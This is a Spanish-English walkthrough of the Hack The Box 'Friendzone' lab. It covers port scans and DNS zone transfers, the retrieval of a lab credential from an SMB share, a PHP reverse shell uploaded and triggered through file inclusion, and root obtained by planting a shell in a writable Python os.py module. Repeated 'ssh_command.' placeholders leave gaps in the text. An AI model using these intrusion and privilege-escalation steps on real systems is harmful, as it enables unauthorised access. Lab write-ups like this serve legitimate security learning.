Friendzone

Friendzone


HTB Linux

echo “10.129.114.131 friendzone.htb” | sudo tee -a /etc/hosts

nmap -sC -sV -O -oA initial 10.129.114.131

-sC: scripts por defecto -sV: detecta la version de servicio -O: detecta sistema operativo -oA: la informacion se guarda en un archivo nmap -A -p- -oA output 10.129.114.131 —min-rate=10000 —script=vuln —script-timeout=15 -v

ssh_command.

ssh_command.

ssh_command.

nmap -sC -sV -O -p- -oA full 10.129.114.131

nmap -sU -O -p- -oA udp 10.129.114.131

rustscan —accessible -a friendzone.htb -r 1-65535 — -sT -sV -sC -Pn

nikto -h 10.129.114.131:80

gobuster dir -k -u http://10.129.114.131/wordpress -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

ssh_command.

nslookup server 10.129.114.131 10.129.114.131

ssh_command.

We don’t get anything. However, we do have two possible domains from previous enumeration steps:

friendzone.red from the nmap scan, and friendzoneportal.red from the HTTP website Let’s try a zone transfer on both domains.

dig axfr friendzoneportal.red @10.129.114.131

ssh_command.

dig axfr friendzone.red @10.129.114.131

ssh_command.

Agregar a etc/hosts

friendzone.htb friendzoneportal.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red

ssh_command.

ssh_command.

ssh_command.

smbmap -H 10.129.114.131

-H: host ssh_command.

Tenemos acceso para leer en la seccion llamada general y acceso para leer y escribir en la seccion de Development.

smbmap -R -H 10.129.114.131

ssh_command.

La seccion de Development no contiene nada, pero el directorio general tiene un archivo llamado creds.txt. Antes de descargar el archivo, usemos smbclient para ver más información sobre los recursos compartidos.

La información adicional que esto nos da sobre smbmap es la columna Comentario. Podemos ver que los archivos en el recurso compartido de Archivos se almacenan en / etc / Archivos en el sistema. Existe una buena posibilidad de que los archivos almacenados en la seccion de Desarrollo (al que podemos modificar) se almacenen en / etc / Development.

smbclient -L //10.129.114.131

ssh_command.

smbclient -N //10.129.114.131

get creds.txt

cat creds.txt

ssh_command.

ssh_command.

admin:WORKWORKHhallelujah@#

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

Nos logeamos en la seccion de Development

smbclient //10.10.10.123/Development -N

Bajamos reverse_shell.php file de kali a la maquina de windows

put pshell.php

ssh_command.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/pshell

ssh_command.

ssh_command.

cd /tmp/ chmod +x pspy

Ejecuto el script

./pspy

ssh_command.

Parece que el reporter.py script se ejecuta cada cierto tiempo. Como un cronjob. It seems that the reporter.py script is getting executed every couple of minutes as a scheduled task. Let’s view the permissions we have on that file.

ssh_command.

cat /opt/server_admin/reporter.py

ssh_command.

locate os.py

ssh_command.

ssh_command.

Tenemos privilegios de rwx en el módulo os.py. Como usuario sin privilegios, solo debería tener acceso de lectura al script. Si agregamos un reverse shell al script y esperamos a que se ejecute. Tenemos acceso como root.

get os.py

agregamos esto al final del archivo

cp /etc/Development/os.py /tmp/ cd /tmp cp os.py /usr/lib/python2.7/

ssh_command.

© 2025 Cu3rv0x